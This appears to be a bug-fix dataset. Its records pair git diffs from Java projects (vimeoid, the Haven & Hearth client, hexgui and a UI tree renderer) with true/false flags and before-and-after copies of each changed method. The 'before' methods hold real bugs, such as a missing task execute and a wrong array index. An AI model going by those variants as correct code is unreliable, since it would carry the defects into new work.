public String renderNode(Object obj) throws Exception { String nodeIcon =colapseIcon; String iconGroup = icon; String note = ""; if (isSelected(obj)) { nodeIcon = expandIcon; iconGroup = selectedIcon; note = " nodeSelected"; } if (getBeanChildCountField() != null) { Object childCount = getFieldValue(obj, getBeanChildCountField()); if (childCount != null && childCount.getClass().isAssignableFrom(Integer.class) && (Integer) childCount == 0) { nodeIcon = nullItemIcon; } } if (beanIconField_ != null && beanIconField_.length() > 0) { if (getFieldValue(obj, beanIconField_) != null) iconGroup = (String) getFieldValue(obj, beanIconField_); } String objId = String.valueOf(getId(obj)); String actionLink = event("ChangeNode", objId); String fieldValue = (String) getFieldValue(obj, beanLabelField_); StringBuilder builder = new StringBuilder(); // if field's length > max field's length then cut field value if ((fieldValue.length() > getMaxTitleCharacter()) && (getMaxTitleCharacter() != 0)) { fieldValue = fieldValue.substring(0, getMaxTitleCharacter() - 3) + "..."; } if (escapeHTML_) { fieldValue = fieldValue != null ? HTMLEntityEncoder.getInstance().encode(fieldValue) : fieldValue; } if (nodeIcon.equals(expandIcon)) { builder.append(" <a href=\"javascript:void(0);\" class=\"uiIconNode ").append(nodeIcon).append(note).append("\"") .append(" title=\"").append(getFieldValue(obj, beanLabelField_)).append("\"").append(">"); } else { builder.append(" <a href=\"javascript:void(0);\" class=\"uiIconNode ").append(nodeIcon).append(note).append("\"") .append(" title=\"").append(getFieldValue(obj, beanLabelField_)).append("\" onclick=\"").append(actionLink).append("\">"); } if (uiPopupMenu_ == null) { builder.append("<i class=\"uiIconFile uiIconGroup\"></i>").append(fieldValue); } else { builder.append("<i class=\"uiIconFile\"></i>").append(fieldValue); } builder.append(" </a>"); return builder.toString(); }
public String renderNode(Object obj) throws Exception { String nodeIcon =colapseIcon; String iconGroup = icon; String note = ""; if (isSelected(obj)) { nodeIcon = expandIcon; iconGroup = selectedIcon; note = " nodeSelected"; } if (getBeanChildCountField() != null) { Object childCount = getFieldValue(obj, getBeanChildCountField()); if (childCount != null && childCount.getClass().isAssignableFrom(Integer.class) && (Integer) childCount == 0) { nodeIcon = nullItemIcon; } } if (beanIconField_ != null && beanIconField_.length() > 0) { if (getFieldValue(obj, beanIconField_) != null) iconGroup = (String) getFieldValue(obj, beanIconField_); } String objId = String.valueOf(getId(obj)); String actionLink = event("ChangeNode", objId); String fieldValue = (String) getFieldValue(obj, beanLabelField_); StringBuilder builder = new StringBuilder(); // if field's length > max field's length then cut field value if ((fieldValue.length() > getMaxTitleCharacter()) && (getMaxTitleCharacter() != 0)) { fieldValue = fieldValue.substring(0, getMaxTitleCharacter() - 3) + "..."; } if (escapeHTML_) { fieldValue = fieldValue != null ? HTMLEntityEncoder.getInstance().encode(fieldValue) : fieldValue; } CharSequence rightClick = ""; if (uiPopupMenu_ != null) { rightClick = uiPopupMenu_.getJSOnclickShowPopup(objId, null); } if (nodeIcon.equals(expandIcon)) { builder.append(" <a href=\"javascript:void(0);\" class=\"uiIconNode ").append(nodeIcon).append(note).append("\" ").append(rightClick) .append(" title=\"").append(getFieldValue(obj, beanLabelField_)).append("\"").append(">"); } else { builder.append(" <a href=\"javascript:void(0);\" class=\"uiIconNode ").append(nodeIcon).append(note).append("\" ").append(rightClick) .append(" title=\"").append(getFieldValue(obj, beanLabelField_)).append("\" onclick=\"").append(actionLink).append("\">"); } if (uiPopupMenu_ == null) { builder.append("<i class=\"uiIconFile uiIconGroup\"></i>").append(fieldValue); } else { builder.append("<i class=\"uiIconFile\"></i>").append(fieldValue); } builder.append(" </a>"); return builder.toString(); }
diff --git a/apk/src/org/vimeoid/activity/guest/SingleItemActivity.java b/apk/src/org/vimeoid/activity/guest/SingleItemActivity.java index ed6d101..158e2fe 100644 --- a/apk/src/org/vimeoid/activity/guest/SingleItemActivity.java +++ b/apk/src/org/vimeoid/activity/guest/SingleItemActivity.java @@ -1,99 +1,99 @@ /** * */ package org.vimeoid.activity.guest; import org.vimeoid.R; import org.vimeoid.activity.base.SingleItemActivity_; import org.vimeoid.adapter.SectionedActionsAdapter; import org.vimeoid.connection.ApiCallInfo; import org.vimeoid.connection.simple.VimeoProvider; import org.vimeoid.util.Dialogs; import org.vimeoid.util.Invoke; import org.vimeoid.util.SimpleItem; import org.vimeoid.util.Utils; import android.database.Cursor; import android.net.Uri; import android.os.Bundle; import android.widget.ImageView; import android.widget.TextView; /** * <dl> * <dt>Project:</dt> <dd>vimeoid</dd> * <dt>Package:</dt> <dd>org.vimeoid.activity.guest</dd> * </dl> * * <code>SingleItemActivity</code> * * <p>Description</p> * * @author Ulric Wilfred <[email protected]> * @date Sep 16, 2010 6:41:44 PM * */ public abstract class SingleItemActivity<ItemType extends SimpleItem> extends SingleItemActivity_<ItemType> { // private static final String TAG = "SingleItemActivity"; protected final String[] projection; protected Uri contentUri; protected ApiCallInfo callInfo; public SingleItemActivity(int mainView, String[] projection) { super(mainView); this.projection = projection; } @Override protected void onCreate(Bundle savedInstanceState) { contentUri = getIntent().getData(); super.onCreate(savedInstanceState); } protected abstract SectionedActionsAdapter fillWithActions(final SectionedActionsAdapter actionsAdapter, final ItemType item); protected abstract ItemType extractFromCursor(Cursor cursor, int position); protected void initTitleBar(ImageView subjectIcon, TextView subjectTitle, ImageView resultIcon) { callInfo = VimeoProvider.collectCallInfo(contentUri); subjectIcon.setImageResource(Utils.drawableByContent(callInfo.subjectType)); subjectTitle.setText(getIntent().hasExtra(Invoke.Extras.SUBJ_TITLE) ? getIntent().getStringExtra(Invoke.Extras.SUBJ_TITLE) : callInfo.subject); resultIcon.setImageResource(getIntent().getIntExtra(Invoke.Extras.RES_ICON, R.drawable.info)); } @Override protected void queryItem() { new ApiTask(getContentResolver(), projection) { @Override protected void onPreExecute() { super.onPreExecute(); - showProgressBar(); + showProgressBar(); } @Override protected void onAnswerReceived(Cursor cursor) { if (cursor.getCount() > 1) throw new IllegalStateException("There must be the only one item returned"); onItemReceived(extractFromCursor(cursor, 0)); hideProgressBar(); } @Override protected void onPostExecute(Cursor cursor) { super.onPostExecute(cursor); hideProgressBar(); } @Override protected void onAnyError(Exception e, String message) { super.onAnyError(e, message); Dialogs.makeExceptionToast(SingleItemActivity.this, message, e); hideProgressBar(); } - }; + }.execute(contentUri); } }
false
true
protected void queryItem() { new ApiTask(getContentResolver(), projection) { @Override protected void onPreExecute() { super.onPreExecute(); showProgressBar(); } @Override protected void onAnswerReceived(Cursor cursor) { if (cursor.getCount() > 1) throw new IllegalStateException("There must be the only one item returned"); onItemReceived(extractFromCursor(cursor, 0)); hideProgressBar(); } @Override protected void onPostExecute(Cursor cursor) { super.onPostExecute(cursor); hideProgressBar(); } @Override protected void onAnyError(Exception e, String message) { super.onAnyError(e, message); Dialogs.makeExceptionToast(SingleItemActivity.this, message, e); hideProgressBar(); } }; }
protected void queryItem() { new ApiTask(getContentResolver(), projection) { @Override protected void onPreExecute() { super.onPreExecute(); showProgressBar(); } @Override protected void onAnswerReceived(Cursor cursor) { if (cursor.getCount() > 1) throw new IllegalStateException("There must be the only one item returned"); onItemReceived(extractFromCursor(cursor, 0)); hideProgressBar(); } @Override protected void onPostExecute(Cursor cursor) { super.onPostExecute(cursor); hideProgressBar(); } @Override protected void onAnyError(Exception e, String message) { super.onAnyError(e, message); Dialogs.makeExceptionToast(SingleItemActivity.this, message, e); hideProgressBar(); } }.execute(contentUri); }
diff --git a/src/haven/CharWnd.java b/src/haven/CharWnd.java index aa2cf0ff..fbd7ad46 100644 --- a/src/haven/CharWnd.java +++ b/src/haven/CharWnd.java @@ -1,459 +1,457 @@ /* * This file is part of the Haven & Hearth game client. * Copyright (C) 2009 Fredrik Tolf <[email protected]>, and * Björn Johannessen <[email protected]> * * Redistribution and/or modification of this file is subject to the * terms of the GNU Lesser General Public License, version 3, as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * Other parts of this source tree adhere to other copying * rights. Please see the file `COPYING' in the root directory of the * source tree for details. * * A copy the GNU Lesser General Public License is distributed along * with the source tree of which this file is a part in the file * `doc/LPGL-3'. If it is missing for any reason, please see the Free * Software Foundation's website at <http://www.fsf.org/>, or write * to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, * Boston, MA 02111-1307 USA */ package haven; import java.util.*; public class CharWnd extends Window { public static final Map<String, String> attrnm; public static final List<String> attrorder; public final Map<String, Attr> attrs = new HashMap<String, Attr>(); public final SkillList csk, nsk; private final SkillInfo ski; static { Widget.addtype("chr", new WidgetFactory() { public Widget create(Coord c, Widget parent, Object[] args) { return(new CharWnd(c, parent)); } }); { final List<String> ao = new ArrayList<String>(); Map<String, String> an = new HashMap<String, String>() { public String put(String k, String v) { ao.add(k); return(super.put(k, v)); } }; an.put("arts", "Arts & Crafts"); an.put("cloak", "Cloak & Dagger"); an.put("faith", "Faith & Wisdom"); an.put("wild", "Frontier & Wilderness"); an.put("nail", "Hammer & Nail"); an.put("hung", "Hunting & Gathering"); an.put("law", "Law & Lore"); an.put("mine", "Mines & Mountains"); an.put("pots", "Pots & Pans"); an.put("fire", "Sparks & Embers"); an.put("stock", "Stocks & Cultivars"); an.put("spice", "Sugar & Spice"); an.put("thread", "Thread & Needle"); an.put("natp", "Natural Philosophy"); an.put("perp", "Perennial Philosophy"); attrnm = Collections.unmodifiableMap(an); attrorder = Collections.unmodifiableList(ao); } } public class Skill { public final String nm; public final Indir<Resource> res; public final String[] costa; public final int[] costv; private Skill(String nm, Indir<Resource> res, String[] costa, int[] costv) { this.nm = nm; this.res = res; this.costa = costa; this.costv = costv; } private Skill(String nm, Indir<Resource> res) { this(nm, res, new String[0], new int[0]); } public int afforded() { int ret = 0; for(int i = 0; i < costa.length; i++) { if(attrs.get(costa[i]).attr.comp * 100 < costv[i]) return(3); if(attrs.get(costa[i]).sexp < costv[i]) ret = Math.max(ret, 2); else if(attrs.get(costa[i]).hexp < costv[i]) ret = Math.max(ret, 1); } return(ret); } } private static class SkillInfo extends RichTextBox { final static RichText.Foundry skbodfnd; Skill cur = null; boolean d = false; static { skbodfnd = new RichText.Foundry(java.awt.font.TextAttribute.FAMILY, "SansSerif", java.awt.font.TextAttribute.SIZE, 9); skbodfnd.aa = true; } public SkillInfo(Coord c, Coord sz, Widget parent) { super(c, sz, parent, "", skbodfnd); } public void tick(double dt) { if(d) { try { StringBuilder text = new StringBuilder(); text.append("$img[" + cur.res.get().name + "]\n\n"); text.append("$font[serif,16]{" + cur.res.get().layer(Resource.action).name + "}\n\n"); int[] o = sortattrs(cur.costa); if(cur.costa.length > 0) { for(int i = 0; i < o.length; i++) { int u = o[i]; text.append(attrnm.get(cur.costa[u]) + ": " + cur.costv[u] + "\n"); } text.append("\n"); } text.append(cur.res.get().layer(Resource.pagina).text); settext(text.toString()); d = false; } catch(Loading e) {} } } public void setsk(Skill sk) { d = (sk != null); cur = sk; settext(""); } } public static int[] sortattrs(final String[] attrs) { Integer[] o = new Integer[attrs.length]; for(int i = 0; i < o.length; i++) o[i] = new Integer(i); Arrays.sort(o, new Comparator<Integer>() { public int compare(Integer a, Integer b) { return(attrorder.indexOf(attrs[a.intValue()]) - attrorder.indexOf(attrs[b.intValue()])); } }); int[] r = new int[o.length]; for(int i = 0; i < o.length; i++) r[i] = o[i]; return(r); } public static class SkillList extends Widget { private int h; private Scrollbar sb; private int sel; public Skill[] skills = new Skill[0]; private boolean loading = false; private final Comparator<Skill> skcomp = new Comparator<Skill>() { public int compare(Skill a, Skill b) { String an, bn; try { an = a.res.get().layer(Resource.action).name; } catch(Loading e) { loading = true; an = "\uffff"; } try { bn = b.res.get().layer(Resource.action).name; } catch(Loading e) { loading = true; bn = "\uffff"; } return(an.compareTo(bn)); } }; public SkillList(Coord c, Coord sz, Widget parent) { super(c, sz, parent); h = sz.y / 20; sel = -1; sb = new Scrollbar(new Coord(sz.x, 0), sz.y, this, 0, 0); } public void draw(GOut g) { if(loading) { loading = false; Arrays.sort(skills, skcomp); } g.chcolor(0, 0, 0, 255); g.frect(Coord.z, sz); g.chcolor(); for(int i = 0; i < h; i++) { if(i + sb.val >= skills.length) continue; Skill sk = skills[i + sb.val]; if(i + sb.val == sel) { g.chcolor(255, 255, 0, 128); g.frect(new Coord(0, i * 20), new Coord(sz.x, 20)); g.chcolor(); } int astate = sk.afforded(); if(astate == 3) g.chcolor(255, 128, 128, 255); else if(astate == 2) g.chcolor(255, 192, 128, 255); else if(astate == 1) g.chcolor(255, 255, 128, 255); try { g.image(sk.res.get().layer(Resource.imgc).tex(), new Coord(0, i * 20), new Coord(20, 20)); g.atext(sk.res.get().layer(Resource.action).name, new Coord(25, i * 20 + 10), 0, 0.5); } catch(Loading e) { WItem.missing.loadwait(); g.image(WItem.missing.layer(Resource.imgc).tex(), new Coord(0, i * 20), new Coord(20, 20)); g.atext("...", new Coord(25, i * 20 + 10), 0, 0.5); } g.chcolor(); } super.draw(g); } public void pop(Collection<Skill> nsk) { Skill[] skills = nsk.toArray(new Skill[0]); sb.val = 0; sb.max = skills.length - h; sel = -1; this.skills = skills; } public boolean mousewheel(Coord c, int amount) { sb.ch(amount); return(true); } public boolean mousedown(Coord c, int button) { if(super.mousedown(c, button)) return(true); if(button == 1) { sel = (c.y / 20) + sb.val; if(sel >= skills.length) sel = -1; changed((sel < 0)?null:skills[sel]); return(true); } return(false); } protected void changed(Skill sk) { } public void unsel() { sel = -1; changed(null); } } public class Attr extends Widget { private final Coord imgc = new Coord(0, 1), nmc = new Coord(17, 1), vc = new Coord(137, 1), expc = new Coord(162, 0), expsz = new Coord(sz.x - expc.x, sz.y); public final String nm; public final Resource res; public final Glob.CAttr attr; public int sexp, hexp; public boolean av = false; private Text rnm, rv, rexp; private int cv; private Attr(String attr, Coord c, Widget parent) { super(c, new Coord(237, 15), parent); this.nm = attr; this.res = Resource.load("gfx/hud/skills/" + nm); this.res.loadwait(); Resource.Pagina pag = this.res.layer(Resource.pagina); if(pag != null) this.tooltip = RichText.render(pag.text, 300); this.attr = ui.sess.glob.cattr.get(nm); this.rnm = Text.render(attrnm.get(attr)); } public void draw(GOut g) { g.image(res.layer(Resource.imgc).tex(), imgc); g.image(rnm.tex(), nmc); if(attr.comp != cv) rv = null; if(rv == null) rv = Text.render(String.format("%d", cv = attr.comp)); g.image(rv.tex(), vc); g.chcolor(0, 0, 0, 255); g.frect(expc, expsz); g.chcolor(64, 64, 64, 255); g.frect(expc.add(1, 1), new Coord(((expsz.x - 2) * sexp) / (attr.comp * 100), expsz.y - 2)); if(av) g.chcolor(0, (a == 1)?255:128, 0, 255); else g.chcolor(0, 0, 128, 255); g.frect(expc.add(1, 1), new Coord(((expsz.x - 2) * hexp) / (attr.comp * 100), expsz.y - 2)); if(ui.lasttip instanceof WItem.ItemTip) { GItem item = ((WItem.ItemTip)ui.lasttip).item(); Inspiration insp = GItem.find(Inspiration.class, item.info()); if(insp != null) { for(int i = 0; i < insp.attrs.length; i++) { if(insp.attrs[i].equals(nm)) { - int w = ((expsz.x - 2) * insp.exp[i]) / (attr.comp * 100); - if(w > expsz.x - 2) { - w = expsz.x - 2; + int w = Math.min(((expsz.x - 2) * insp.exp[i]) / (attr.comp * 100), + expsz.x - 2); + if(insp.exp[i] > (attr.comp * 100)) g.chcolor(255, 255, 0, 255); - } else { + else g.chcolor(255, 192, 0, 255); - } g.frect(expc.add(1, 1), new Coord(w, (expsz.y / 2))); break; } } } } if(nsk.sel >= 0) { Skill sk = nsk.skills[nsk.sel]; for(int i = 0; i < sk.costa.length; i++) { if(sk.costa[i].equals(nm)) { - int w = ((expsz.x - 2) * sk.costv[i]) / (attr.comp * 100); - if(w > expsz.x - 2) { - w = expsz.x - 2; + int w = Math.min(((expsz.x - 2) * sk.costv[i]) / (attr.comp * 100), + expsz.x - 2); + if(sk.costv[i] > (attr.comp * 100)) g.chcolor(255, 0, 0, 255); - } else { + else g.chcolor(128, 0, 0, 255); - } g.frect(expc.add(1, expsz.y / 2), new Coord(w, (expsz.y / 2))); break; } } } g.chcolor(); if(rexp == null) rexp = Text.render(String.format("%d/%d", sexp, attr.comp * 100)); g.aimage(rexp.tex(), expc.add(expsz.x / 2, 1), 0.5, 0); } private int a = 0; public boolean mousedown(Coord c, int btn) { if((btn == 1) && c.isect(expc, expsz)) { if(av) { a = 1; ui.grabmouse(this); } return(true); } return(false); } public boolean mouseup(Coord c, int btn) { if((btn == 1) && (a == 1)) { a = 0; ui.grabmouse(null); if(c.isect(expc, expsz)) buy(); return(true); } return(false); } public void buy() { CharWnd.this.wdgmsg("sattr", nm); } } public CharWnd(Coord c, Widget parent) { super(c, new Coord(620, 340), parent, "Character"); new Label(new Coord(0, 0), this, "Proficiencies:"); int y = 30; for(String nm : attrorder) { this.attrs.put(nm, new Attr(nm, new Coord(0, y), this)); y += 20; } new Label(new Coord(250, 0), this, "Skills:"); new Label(new Coord(250, 30), this, "Current:"); this.csk = new SkillList(new Coord(250, 45), new Coord(170, 120), this) { protected void changed(Skill sk) { if(sk != null) nsk.unsel(); ski.setsk(sk); } }; new Label(new Coord(250, 170), this, "Available:"); this.nsk = new SkillList(new Coord(250, 185), new Coord(170, 120), this) { protected void changed(Skill sk) { if(sk != null) csk.unsel(); ski.setsk(sk); } }; new Button(new Coord(250, 310), 50, this, "Buy") { public void click() { if(nsk.sel >= 0) { CharWnd.this.wdgmsg("buy", nsk.skills[nsk.sel].nm); } } }; this.ski = new SkillInfo(new Coord(430, 30), new Coord(190, 275), this); } public void uimsg(String msg, Object... args) { if(msg == "exp") { for(int i = 0; i < args.length; i += 4) { String nm = (String)args[i]; int s = (Integer)args[i + 1]; int h = (Integer)args[i + 2]; boolean av = ((Integer)args[i + 3]) != 0; Attr a = attrs.get(nm); a.sexp = s; a.hexp = h; a.rexp = null; a.av = av; } } else if(msg == "csk") { Collection<Skill> sk = new LinkedList<Skill>(); for(int i = 0; i < args.length; i += 2) { String nm = (String)args[i]; Indir<Resource> res = ui.sess.getres((Integer)args[i + 1]); sk.add(new Skill(nm, res)); } csk.pop(sk); } else if(msg == "nsk") { Collection<Skill> sk = new LinkedList<Skill>(); int i = 0; while(i < args.length) { String nm = (String)args[i++]; Indir<Resource> res = ui.sess.getres((Integer)args[i++]); List<String> costa = new LinkedList<String>(); List<Integer> costv = new LinkedList<Integer>(); while(true) { String anm = (String)args[i++]; if(anm.equals("")) break; Integer val = (Integer)args[i++]; costa.add(anm); costv.add(val); } String[] costa2 = costa.toArray(new String[0]); int[] costv2 = new int[costa2.length]; int o = 0; for(Integer v : costv) costv2[o++] = v; sk.add(new Skill(nm, res, costa2, costv2)); } nsk.pop(sk); } } }
false
true
public void draw(GOut g) { g.image(res.layer(Resource.imgc).tex(), imgc); g.image(rnm.tex(), nmc); if(attr.comp != cv) rv = null; if(rv == null) rv = Text.render(String.format("%d", cv = attr.comp)); g.image(rv.tex(), vc); g.chcolor(0, 0, 0, 255); g.frect(expc, expsz); g.chcolor(64, 64, 64, 255); g.frect(expc.add(1, 1), new Coord(((expsz.x - 2) * sexp) / (attr.comp * 100), expsz.y - 2)); if(av) g.chcolor(0, (a == 1)?255:128, 0, 255); else g.chcolor(0, 0, 128, 255); g.frect(expc.add(1, 1), new Coord(((expsz.x - 2) * hexp) / (attr.comp * 100), expsz.y - 2)); if(ui.lasttip instanceof WItem.ItemTip) { GItem item = ((WItem.ItemTip)ui.lasttip).item(); Inspiration insp = GItem.find(Inspiration.class, item.info()); if(insp != null) { for(int i = 0; i < insp.attrs.length; i++) { if(insp.attrs[i].equals(nm)) { int w = ((expsz.x - 2) * insp.exp[i]) / (attr.comp * 100); if(w > expsz.x - 2) { w = expsz.x - 2; g.chcolor(255, 255, 0, 255); } else { g.chcolor(255, 192, 0, 255); } g.frect(expc.add(1, 1), new Coord(w, (expsz.y / 2))); break; } } } } if(nsk.sel >= 0) { Skill sk = nsk.skills[nsk.sel]; for(int i = 0; i < sk.costa.length; i++) { if(sk.costa[i].equals(nm)) { int w = ((expsz.x - 2) * sk.costv[i]) / (attr.comp * 100); if(w > expsz.x - 2) { w = expsz.x - 2; g.chcolor(255, 0, 0, 255); } else { g.chcolor(128, 0, 0, 255); } g.frect(expc.add(1, expsz.y / 2), new Coord(w, (expsz.y / 2))); break; } } } g.chcolor(); if(rexp == null) rexp = Text.render(String.format("%d/%d", sexp, attr.comp * 100)); g.aimage(rexp.tex(), expc.add(expsz.x / 2, 1), 0.5, 0); }
public void draw(GOut g) { g.image(res.layer(Resource.imgc).tex(), imgc); g.image(rnm.tex(), nmc); if(attr.comp != cv) rv = null; if(rv == null) rv = Text.render(String.format("%d", cv = attr.comp)); g.image(rv.tex(), vc); g.chcolor(0, 0, 0, 255); g.frect(expc, expsz); g.chcolor(64, 64, 64, 255); g.frect(expc.add(1, 1), new Coord(((expsz.x - 2) * sexp) / (attr.comp * 100), expsz.y - 2)); if(av) g.chcolor(0, (a == 1)?255:128, 0, 255); else g.chcolor(0, 0, 128, 255); g.frect(expc.add(1, 1), new Coord(((expsz.x - 2) * hexp) / (attr.comp * 100), expsz.y - 2)); if(ui.lasttip instanceof WItem.ItemTip) { GItem item = ((WItem.ItemTip)ui.lasttip).item(); Inspiration insp = GItem.find(Inspiration.class, item.info()); if(insp != null) { for(int i = 0; i < insp.attrs.length; i++) { if(insp.attrs[i].equals(nm)) { int w = Math.min(((expsz.x - 2) * insp.exp[i]) / (attr.comp * 100), expsz.x - 2); if(insp.exp[i] > (attr.comp * 100)) g.chcolor(255, 255, 0, 255); else g.chcolor(255, 192, 0, 255); g.frect(expc.add(1, 1), new Coord(w, (expsz.y / 2))); break; } } } } if(nsk.sel >= 0) { Skill sk = nsk.skills[nsk.sel]; for(int i = 0; i < sk.costa.length; i++) { if(sk.costa[i].equals(nm)) { int w = Math.min(((expsz.x - 2) * sk.costv[i]) / (attr.comp * 100), expsz.x - 2); if(sk.costv[i] > (attr.comp * 100)) g.chcolor(255, 0, 0, 255); else g.chcolor(128, 0, 0, 255); g.frect(expc.add(1, expsz.y / 2), new Coord(w, (expsz.y / 2))); break; } } } g.chcolor(); if(rexp == null) rexp = Text.render(String.format("%d/%d", sexp, attr.comp * 100)); g.aimage(rexp.tex(), expc.add(expsz.x / 2, 1), 0.5, 0); }
diff --git a/src/hexgui/util/StringUtils.java b/src/hexgui/util/StringUtils.java index 976e400..763e273 100644 --- a/src/hexgui/util/StringUtils.java +++ b/src/hexgui/util/StringUtils.java @@ -1,183 +1,185 @@ //---------------------------------------------------------------------------- // $Id$ //---------------------------------------------------------------------------- package hexgui.util; import hexgui.hex.HexPoint; import hexgui.hex.HexColor; import hexgui.hex.VC; import hexgui.util.Pair; import java.io.StringReader; import java.io.PrintStream; import java.io.IOException; import java.util.Vector; public final class StringUtils { /** Converts all whitespace characters to a single ' '. */ public static String cleanWhiteSpace(String str) { StringReader reader = new StringReader(str); StringBuilder ret = new StringBuilder(); boolean white = false; while (true) { int c; try { c = reader.read(); } catch (Throwable t) { System.out.println("Something bad happened!"); break; } if (c == -1) break; if (c == ' ' || c == '\n' || c == '\t') { if (!white) ret.append(" "); white = true; } else { white = false; ret.append((char)c); } } return ret.toString(); } public static Vector<HexPoint> parsePointList(String str, String sep) { Vector<HexPoint> ret = new Vector<HexPoint>(); String cleaned = cleanWhiteSpace(str.trim()); if (cleaned.length() == 0) return ret; String[] pts = cleaned.split(sep); for (int i=0; i<pts.length; i++) { HexPoint p = HexPoint.get(pts[i].trim()); ret.add(p); } return ret; } public static Vector<HexPoint> parsePointList(String str) { return parsePointList(str, " "); } public static Vector<String> parseStringList(String str) { Vector<String> ret = new Vector<String>(); String cleaned = cleanWhiteSpace(str.trim()); if (cleaned.length() == 0) return ret; String[] strs = cleaned.split(" "); for (int i=0; i<strs.length; i++) { String cur = strs[i].trim(); ret.add(cur); } return ret; } public static Vector<Pair<String, String> > parseStringPairList(String str) { Vector<Pair<String, String> > ret = new Vector<Pair<String, String> >(); String cleaned = cleanWhiteSpace(str.trim()); if (cleaned.length() == 0) return ret; String[] strs = cleaned.split(" "); for (int i=0; i<strs.length; i+=2) { String c1 = strs[i].trim(); String c2 = strs[i+1].trim(); ret.add(new Pair<String, String>(c1, c2)); } return ret; } public static Vector<VC> parseVCList(String str) { Vector<VC> ret = new Vector<VC>(); String cleaned = cleanWhiteSpace(str.trim()); if (cleaned.length() == 0) return ret; String[] vcs = cleaned.split(" "); for (int i=0, j=0; i<vcs.length; i+=j) { HexPoint from, to; HexColor color; String type = "unknown"; int moves = 0; Vector<HexPoint> carrier = new Vector<HexPoint>(); Vector<HexPoint> stones = new Vector<HexPoint>(); Vector<HexPoint> key = new Vector<HexPoint>(); String source = "unknown"; try { from = HexPoint.get(vcs[i+0]); to = HexPoint.get(vcs[i+1]); color = HexColor.get(vcs[i+2]); type = vcs[i+3]; j = 5; if (!type.equals("softlimit")) { source = vcs[i+4]; moves = Integer.parseInt(vcs[i+5]); // read carrier set if (!vcs[i+6].equals("[")) - throw new Throwable("Bad"); + throw new Throwable("No carrier!"); for (j=7; j < vcs.length; j++) { if (vcs[i+j].equals("]")) break; HexPoint p = HexPoint.get(vcs[i+j]); carrier.add(p); } j++; // skip closing ']' // read stone set - if (!vcs[j].equals("[")) - throw new Throwable("Bad"); + if (!vcs[i+j].equals("[")) + throw new Throwable("No stones! Should be '[', got '" + + vcs[j] + "'"); for (j++; j < vcs.length; j++) { if (vcs[i+j].equals("]")) break; HexPoint p = HexPoint.get(vcs[i+j]); stones.add(p); } j++; // skip closing ']' int blah = 0; if (type.equals("semi")) blah = 1; for (int k=0; k<blah; k++, j++) { HexPoint p = HexPoint.get(vcs[i+j]); key.add(p); } } } catch(Throwable t) { - System.out.println("Exception occured while parsing VC!"); + System.out.println("Exception occured while parsing VC: '" + + t.getMessage() + "'"); return ret; } ret.add(new VC(from, to, color, type, source, moves, carrier, stones, key)); } return ret; } public static String reverse(String str) { StringBuilder ret = new StringBuilder(); for (int i=str.length()-1; i>=0; i--) { ret.append(str.charAt(i)); } return ret.toString(); } } //----------------------------------------------------------------------------
false
true
public static Vector<VC> parseVCList(String str) { Vector<VC> ret = new Vector<VC>(); String cleaned = cleanWhiteSpace(str.trim()); if (cleaned.length() == 0) return ret; String[] vcs = cleaned.split(" "); for (int i=0, j=0; i<vcs.length; i+=j) { HexPoint from, to; HexColor color; String type = "unknown"; int moves = 0; Vector<HexPoint> carrier = new Vector<HexPoint>(); Vector<HexPoint> stones = new Vector<HexPoint>(); Vector<HexPoint> key = new Vector<HexPoint>(); String source = "unknown"; try { from = HexPoint.get(vcs[i+0]); to = HexPoint.get(vcs[i+1]); color = HexColor.get(vcs[i+2]); type = vcs[i+3]; j = 5; if (!type.equals("softlimit")) { source = vcs[i+4]; moves = Integer.parseInt(vcs[i+5]); // read carrier set if (!vcs[i+6].equals("[")) throw new Throwable("Bad"); for (j=7; j < vcs.length; j++) { if (vcs[i+j].equals("]")) break; HexPoint p = HexPoint.get(vcs[i+j]); carrier.add(p); } j++; // skip closing ']' // read stone set if (!vcs[j].equals("[")) throw new Throwable("Bad"); for (j++; j < vcs.length; j++) { if (vcs[i+j].equals("]")) break; HexPoint p = HexPoint.get(vcs[i+j]); stones.add(p); } j++; // skip closing ']' int blah = 0; if (type.equals("semi")) blah = 1; for (int k=0; k<blah; k++, j++) { HexPoint p = HexPoint.get(vcs[i+j]); key.add(p); } } } catch(Throwable t) { System.out.println("Exception occured while parsing VC!"); return ret; } ret.add(new VC(from, to, color, type, source, moves, carrier, stones, key)); } return ret; }
public static Vector<VC> parseVCList(String str) { Vector<VC> ret = new Vector<VC>(); String cleaned = cleanWhiteSpace(str.trim()); if (cleaned.length() == 0) return ret; String[] vcs = cleaned.split(" "); for (int i=0, j=0; i<vcs.length; i+=j) { HexPoint from, to; HexColor color; String type = "unknown"; int moves = 0; Vector<HexPoint> carrier = new Vector<HexPoint>(); Vector<HexPoint> stones = new Vector<HexPoint>(); Vector<HexPoint> key = new Vector<HexPoint>(); String source = "unknown"; try { from = HexPoint.get(vcs[i+0]); to = HexPoint.get(vcs[i+1]); color = HexColor.get(vcs[i+2]); type = vcs[i+3]; j = 5; if (!type.equals("softlimit")) { source = vcs[i+4]; moves = Integer.parseInt(vcs[i+5]); // read carrier set if (!vcs[i+6].equals("[")) throw new Throwable("No carrier!"); for (j=7; j < vcs.length; j++) { if (vcs[i+j].equals("]")) break; HexPoint p = HexPoint.get(vcs[i+j]); carrier.add(p); } j++; // skip closing ']' // read stone set if (!vcs[i+j].equals("[")) throw new Throwable("No stones! Should be '[', got '" + vcs[j] + "'"); for (j++; j < vcs.length; j++) { if (vcs[i+j].equals("]")) break; HexPoint p = HexPoint.get(vcs[i+j]); stones.add(p); } j++; // skip closing ']' int blah = 0; if (type.equals("semi")) blah = 1; for (int k=0; k<blah; k++, j++) { HexPoint p = HexPoint.get(vcs[i+j]); key.add(p); } } } catch(Throwable t) { System.out.println("Exception occured while parsing VC: '" + t.getMessage() + "'"); return ret; } ret.add(new VC(from, to, color, type, source, moves, carrier, stones, key)); } return ret; }
